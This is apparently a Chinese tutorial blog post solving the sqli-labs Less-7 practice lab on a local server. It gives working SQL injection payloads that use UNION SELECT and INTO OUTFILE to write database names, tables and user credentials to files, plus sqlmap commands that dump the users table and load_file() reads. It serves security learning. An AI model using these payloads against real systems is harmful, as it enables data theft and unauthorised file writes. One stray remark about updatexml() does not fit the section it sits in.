当前位置: 首页 > web >正文

sqli-labs:Less-7关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  • 注入类型:字符串型(单引号、双括号包裹)
  • 提示:参数id需以'))闭合

同样无法像常规一样回显,php输出语句的代码如下:

if($row)
{echo '<font color= "#FFFF00">';	echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";
}

对于无回显的情况,我们会想到:

  • 布尔盲注:逻辑判断✅
  • 时间盲注:延时判断✅
  • 报错盲注:报错回显❌

我用sqlmap扫到了布尔盲注与时间盲注,但根据提示是想要我们通过MySQL的load_file(文件读取)和into outfile(文件写入)来解决本关卡,先搞into outfile(),再搞load_file()

在这里插入图片描述


2. 条件🧩

对这个关卡感观不好,是因为要求挺多的,还是找了不少文章+AI辅助才解决本关卡。首先需要打开MySQL的命令行,查看secure_file_priv的值。

含义是否允许文件操作
具体路径仅允许操作该目录下的文件(如你的 D:\...\Uploads\✅ 有条件允许
NULL禁止所有文件导入/导出操作❌ 完全禁止
空字符串 ''允许操作任意路径的文件(高危!✅ 完全允许

我的属于具体路径,截图展示:
在这里插入图片描述
这就意味着,我必须在指定的路径中进行文件读写,当然我可以修改这个路径,可修改的位置在MySQL安装时的my.ini中,具体修改位置:
在这里插入图片描述
一定要MySQL80服务的,不然不会生效。出于学习的目的,我就不改路径了,大家随意。

3. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-7/,只需要将下面的sql语句粘贴即可。

3.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


3.2. 判断字段数⚡

?id=-1')) order by 4 --+
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述


3.3. 写入基础信息⚡

?id=-1')) union select database(),version(),user() into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt" --+

在这里插入图片描述

在这里插入图片描述


3.4. 写入表名⚡

?id=-1')) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 'security' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\2.txt" --+

在这里插入图片描述


3.5. 写入字段⚡

?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\3.txt" --+

在这里插入图片描述


3.6. 写入数据⚡

?id=-1')) union select 1,username,password from users into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\4.txt" --+

因为updatexml()函数最多显示32位数据,建议使用concat()搭配limit + offset使用,例如limit n,1,n为起始位置。
在这里插入图片描述


3.7. 参数汇总表⭐

参数作用示例
'))闭合符号id=1'))
--+注释符--+
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

4. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-7/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-7/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

5. 读取文件🔍

load_file()into outfile()是成对出现的,我通过mysql命令行的方式,简单了解下load_file()

select load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt");

在这里插入图片描述
文件内容是十六进制编码形式​​,而非原始文本,需要改一下语句:

select convert(load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt") using utf8) as file_content;

在这里插入图片描述


6. 总结🏁

刚开始我用sqlmap扫的时候,发现只有布尔盲注和时间盲注,尽管根据本题解析也能通过,但是条件未免也太严格了(一开始怎么知道能不能写入文件)。


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/16791.html

相关文章:

  • 数据治理平台如何选?深度解析国产化全栈方案与行业落地实践
  • Charles中文教程 高效抓包与API接口调试实战全指南
  • 《汇编语言:基于X86处理器》第10章 复习题和练习
  • yolo8+阿里千问图片理解(华为简易版小艺看世界)
  • Docker常用命令速查手册:容器运维七维指南
  • Centos7 | 防火墙(firewalld)使用ipset管理ip地址的集合
  • 以ros的docker镜像为例,探讨docker镜像的使用
  • Power Pivot 数据分析表达式(DAX)
  • 《Java 程序设计》第 10 章 - 接口与 Lambda 表达式
  • HTML基础P2 | JS基础讲解
  • JSON.parse解析大整数踩坑
  • 重生之我在10天内卷赢C++ - DAY 1
  • 安全和AI方向的学习路线
  • Tdesign-React 模板面包屑如何放到 Header头部
  • 白话容器基础(一):进程
  • 2025年6月电子学会青少年软件编程(C语言)等级考试试卷(一级)
  • SSRF漏洞基础
  • Akamai CloudTest before 60 2025.06.02 XXE注入导致文件包含漏洞(CVE-2025-49493)
  • Solon v3.4.2(Java 应用开发生态基座)
  • T113-i Linux系统完整构建指南:从SDK开箱到内核镜像量产烧录全流程
  • 【力扣热题100】哈希——最长连续序列
  • MSVC编译KDChart过程
  • 实现了加载 正向 碰撞 雅可比 仿真
  • [SKE]UVM环境下OpenSSL加密算法参考模型设计
  • BOSMA博冠8K广播级讯道摄像机DC0300 EFP产品画册(下)
  • 利用SQL文件上传注入植入WebShell
  • 【从零实践Onvif】01、Onvif详细介绍(从Onvif客户端开发的角度认识Onvif、Web Servies、WSDL、SOAP)
  • SpringCloud -- MQ高级
  • 数学建模——01规划/整数规划
  • Vue3 Composition API